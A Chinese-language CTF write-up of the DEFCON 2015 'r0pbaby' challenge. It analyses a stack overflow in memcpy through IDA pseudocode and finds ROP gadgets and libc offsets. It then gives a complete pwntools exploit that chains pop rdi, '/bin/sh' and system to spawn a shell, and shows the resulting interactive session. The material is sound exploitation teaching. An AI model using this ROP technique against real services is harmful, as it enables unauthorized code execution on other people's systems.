文章目录

这是DEFCON CTF 2015中的一道题,经典的ROP利用。首先我们看一下这个bin文件的一些信息,它是一个64位的ELF文件

1
2
$ file r0pbaby_542ee6516410709a1421141501f03760
r0pbaby_542ee6516410709a1421141501f03760: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, stripped

我们用查看它都开了什么保护,结果发现开了数据执行保护和地址空间布局随机化保护。

1
2
3
4
5
6
gdb-peda$ checksec
CANARY : disabled
FORTIFY : ENABLED
NX : ENABLED
PIE : ENABLED
RELRO : disabled

我们现在来还原实验环境,首先使用socat将它绑定在本地的1234端口

1
$ socat TCP-LISTEN:1234,reuseaddr,fork EXEC:"./r0pbaby_542ee6516410709a1421141501f03760"

我们用nc链接,看一下它的执行流程。这个程序有四个选项,选项1是获得libc address;选项2是获得function函数在程序的真实地址;选项3是一个buffer,允许最多写入1024个字节;选项4是退出程序。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
$ nc localhost 1234
Welcome to an easy Return Oriented Programming challenge...
Menu:
1) Get libc address
2) Get address of a libc function
3) Nom nom r0p buffer to stack
4) Exit
: 1
libc.so.6: 0x00007FF8A8D009B0
1) Get libc address
2) Get address of a libc function
3) Nom nom r0p buffer to stack
4) Exit
: 2
Enter symbol: sytem
Symbol sytem: 0x0000000000000000
1) Get libc address
2) Get address of a libc function
3) Nom nom r0p buffer to stack
4) Exit
: 4
Exiting.

接下来我们用IDA分析一下这个伪代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
signed int v3; // eax@4
unsigned __int64 v4; // r14@15
int v5; // er13@17
size_t v6; // r12@17
int v7; // eax@18
void *handle; // [sp+8h] [bp-448h]@1
char nptr[1088]; // [sp+10h] [bp-440h]@2
__int64 savedregs; // [sp+450h] [bp+0h]@22
setvbuf(stdout, 0LL, 2, 0LL);
signal(14, handler);
alarm(0x3Cu);
puts("\nWelcome to an easy Return Oriented Programming challenge...");
puts("Menu:");
handle = dlopen("libc.so.6", 1);
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
sub_BF7();
if ( !sub_B9A((__int64)nptr, 1024LL) )
{
puts("Bad choice.");
return 0LL;
}
v3 = strtol(nptr, 0LL, 10);
if ( v3 != 2 )
break;
__printf_chk(1LL, "Enter symbol: ");
if ( sub_B9A((__int64)nptr, 64LL) )
{
dlsym(handle, nptr);
__printf_chk(1LL, "Symbol %s: 0x%016llX\n");
}
else
{
puts("Bad symbol.");
}
}
if ( v3 > 2 )
break;
if ( v3 != 1 )
goto LABEL_24;
__printf_chk(1LL, "libc.so.6: 0x%016llX\n");
}
if ( v3 != 3 )
break;
__printf_chk(1LL, "Enter bytes to send (max 1024): ");
sub_B9A((__int64)nptr, 1024LL);
v4 = (signed int)strtol(nptr, 0LL, 10);
if ( v4 - 1 > 0x3FF )
{
puts("Invalid amount.");
}
else
{
if ( v4 )
{
v5 = 0;
v6 = 0LL;
while ( 1 )
{
v7 = _IO_getc(stdin);
if ( v7 == -1 )
break;
nptr[v6] = v7;
v6 = ++v5;
if ( v4 <= v5 )
goto LABEL_22;
}
v6 = v5 + 1;
}
else
{
v6 = 0LL;
}
LABEL_22:
memcpy(&savedregs, nptr, v6);
}
}
if ( v3 == 4 )
break;
LABEL_24:
puts("Bad choice.");
}
dlclose(handle);
puts("Exiting.");
return 0LL;
}

我们发现memcpy这个函数从源nptr所指的内存地址的起始位置开始拷贝v6个字节到目标&savedregs所指的内存地址的起始位置中,这个位置存在缓存区溢出漏洞

1
memcpy(&savedregs, nptr, v6);

我们查看savedregs的结构,发现savedregs保存了栈帧的指针和函数的返回地址

1
2
3
4
+0000000000000000 s db 8 dup(?)
+0000000000000008 r db 8 dup(?)
+0000000000000010
+0000000000000010 ; end of stack variables

因此我们首先输入的qword字节会覆盖旧的rbp,第二个qword字节会改写返回地址。因为这个程序开了NX+ASLR+PIE保护,所以我们构造一个rop-chain。构造rop-chain主要有下面几个步骤:

  1. 用一个gadget将/bin/sh写入rdi寄存器
  2. 获得字符串“bin/sh”的地址
  3. 获得system函数的地址

我们查看一下这个程序运行时加载的动态链接库是哪个版本的。

1
2
3
4
5
$ ldd r0pbaby_542ee6516410709a1421141501f03760
linux-vdso.so.1 => (0x00007ffdfc4df000)
libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007fa9d4eb8000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fa9d4af3000)
/lib64/ld-linux-x86-64.so.2 (0x000055ed9370d000)

首先我们获得一个 pop rdi ret 的gadget

1
2
3
4
$ ROPgadget --binary libc.so.6 --only "pop|ret"| grep rdi
0x000000000001f826 : pop rdi ; pop rbp ; ret
0x0000000000022b9a : pop rdi ; ret
0x0000000000116d5d : pop rdi ; ret 0x2a

接着在libc.so.6中获得bin_sh和system的偏移地址

1
2
bin_sh_offset = 0x17c8c3
system_offset = 0x46590

exploit如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
#!/usr/bin/python
from pwn import *
#p = process('./r0pbaby_542ee6516410709a1421141501f03760')
p =remote('localhost',1234)
rdi_gadget_offset = 0x22b9a
bin_sh_offset = 0x17c8c3
system_offset = 0x46590
def get_fun_addr(p,function):
p.send("2\n")
msg = p.recvuntil("Enter symbol: ")
p.send(function+"\n")
msg = p.recvuntil("4) Exit\n: ")
offset = msg.find(":")
offset2 = msg.find("\n")
addr = int(msg[offset+2: offset2],16)
return addr
def rop_buffer(p,playload):
p.send('3\n')
p.recvuntil('Enter bytes to send (max 1024): ')
playload_len = str(len(playload))
p.send(playload_len + '\n')
p.send(playload + '\n')
return
p.recvuntil(':')
system_addr = get_fun_addr(p,'system')
offset = system_addr - system_offset
print "system_addr:0x%x " % system_addr
rdi_gadget_addr = rdi_gadget_offset + offset
print "rdi_get_addr:0x%x " % rdi_gadget_addr
bin_sh_addr = bin_sh_offset + offset
print "bin_sh_addr: 0x%x" % bin_sh_addr
playload = "A"*8 + p64(rdi_gadget_addr) + p64(bin_sh_addr) + p64(system_addr)
rop_buffer(p,playload)
p.interactive()
#p.close()

结果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
$ python r0pbaby.py
[+] Opening connection to localhost on port 1234: Done
system_addr:0x7f9261f70590
rdi_get_addr:0x7f9261f4cb9a
bin_sh_addr: 0x7f92620a68c3
[*] Switching to interactive mode
1) Get libc address
2) Get address of a libc function
3) Nom nom r0p buffer to stack
4) Exit
: Bad choice.
$ whoami
longlong
$ ls
libc.so.6
peda-session-dash.txt
r0pbaby_542ee6516410709a1421141501f03760
r0pbaby.py
$

文章目录